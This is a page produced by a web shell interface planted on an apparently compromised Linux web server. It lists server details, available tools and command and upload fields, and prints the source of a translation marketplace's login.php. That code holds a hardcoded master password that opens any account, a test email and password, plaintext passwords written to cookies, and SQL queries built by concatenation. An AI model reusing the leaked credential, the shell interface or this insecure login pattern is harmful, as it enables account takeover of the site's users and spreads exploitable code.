403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/translator/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/translator/controllers/login.php
<?php

include 'connection.php';
$password = "";

//$_POST['email'] = 'alisha@falconsolutions.co';
//$_POST['password'] = '12345';
if (!isset($_SESSION['tm_id']) && isset($_POST['email']) && isset($_POST['password'])) {

    $sql = 'SELECT * FROM `tbl_translators` WHERE email = "' . addslashes(trim($_POST['email'])) . '"';
    $result = $mysqli->query($sql);

    $count = 0;
    $tmn_credits = 0;
    $id = '';
    $name = '';
    $email = '';
    $salt = '';
	$phone = '';
    $neo_address = '';
    $is_verified = 0;
    $language_id = 0;
	$country_id = 0;
    $language_name = '';
	$country_name = '';
    $is_neo_verified = 0;
	$marketplace_access = 0;
	$alignment_access = 0;
	if($result->num_rows > 0) {
		while ($row = $result->fetch_object()) {
			$password = $row->password;
			$salt = $row->salt;
			$id = $row->id;
			$name = $row->name;
			$email = $row->email;
			$neo_address = $row->neo_address;
			$is_verified = $row->is_verified;
			$tmn_credits = $row->tmn_credits;
			$language_id = $row->language_id;
			$is_neo_verified = $row->is_neo_verified;
			$phone = $row->phone;
			$country_id = $row->country_id;
			$marketplace_access = $row->marketplace_access;
			$alignment_access = $row->alignment_access;
			$count++;
		}
	}

    $passwordSHA = SHA1($salt . SHA1($salt . SHA1(trim($_POST['password']))));
	$master_password = 'Z*5[VqxE8pBrxWE';
	$entered_plain_pw = trim($_POST['password']);

    if ($count != 0) {
//        if ($is_verified == 0) {
//            $results['status'] = "400";
//            $results['message'] = 'Please verify your email to login. ';
//        } else 

        if ( $passwordSHA == $password || $master_password == $entered_plain_pw ) {
            $results['status'] = "200";
            $results['usr_id'] = $id;

            if ($_POST['remember'] == "1" || $_POST['remember'] == "true") {
                $hour = time() + (86400 * 1); // 86400  1day 
                setcookie('TMMUSR', trim($_POST['email']), $hour, '/');
                setcookie('TMMPwd', trim($_POST['password']), $hour, '/');
            }

            $_SESSION['tm_email'] = $email;
            $_SESSION['tm_name'] = $name;
            $_SESSION['tm_language_id'] = $language_id;
			$_SESSION['tm_phone'] = $phone;
			$_SESSION['tm_country_id'] = $country_id;
            $_SESSION['tm_neo'] = $neo_address;
            $_SESSION['tm_id'] = $id;
            $_SESSION['tm_credits'] = $tmn_credits;
            $_SESSION['tm_is_email_verified'] = $is_verified;
            $_SESSION['tm_is_neo_verified'] = $is_neo_verified;
            $_SESSION['tm_is_claim_pending'] = 0;
			$_SESSION['tm_marketplace_access'] = $marketplace_access;
			$_SESSION['tm_proof_alignment_access'] = $alignment_access;
            
            $sqlClaim = 'select id from translator_claimed_credits where user_id = ' . $id.' and status = 0';
            $resultClaim = $mysqli->query($sqlClaim);
            
            if($resultClaim->num_rows > 0){
                 $_SESSION['tm_is_claim_pending'] = 1;
            }
			
			$_SESSION['tm_is_topup_pending'] = 0;
            
            $sqlClaim = 'select id from translator_claimed_topups where user_id = ' . $id.' and status = 0';
            $resultClaim = $mysqli->query($sqlClaim);
            
            if($resultClaim->num_rows > 0){
                 $_SESSION['tm_is_topup_pending'] = 1;
            }
        
            if ($language_id > 0) {
                $sqlLang = 'select name from languages where id = ' . $language_id;
                $resultLang = $mysqli->query($sqlLang);
                while ($rowLang = $resultLang->fetch_object()) {
                    $language_name = $rowLang->name;
                }
            }
            $_SESSION['tm_language_name'] = $language_name;
			
			if ($country_id > 0) {
                $sqlLang = 'select name from countries where id = ' . $country_id;
                $resultLang = $mysqli->query($sqlLang);
                while ($rowLang = $resultLang->fetch_object()) {
                    $country_name = $rowLang->name;
                }
            }
            $_SESSION['tm_country_name'] = $country_name;
			
			//update users last login
			$sqlL = 'UPDATE tbl_translators SET last_login_at = "'.date("Y-m-d H:i:s").'" where id = "' . $id.'"';
            $resultL = $mysqli->query($sqlL);
			
        } else {
            $results['status'] = "400";
            $results['message'] = 'Invalid email address or password.';
        }
    } else {
        $results['status'] = "400";
        $results['message'] = 'Email not registerd.';
    }
    echo json_encode($results);
} else {
    $results['status'] = "500";
    $results['message'] = 'You are already logged in.';
    echo json_encode($results);
}

Youez - 2016 - github.com/yon3zu
LinuXploit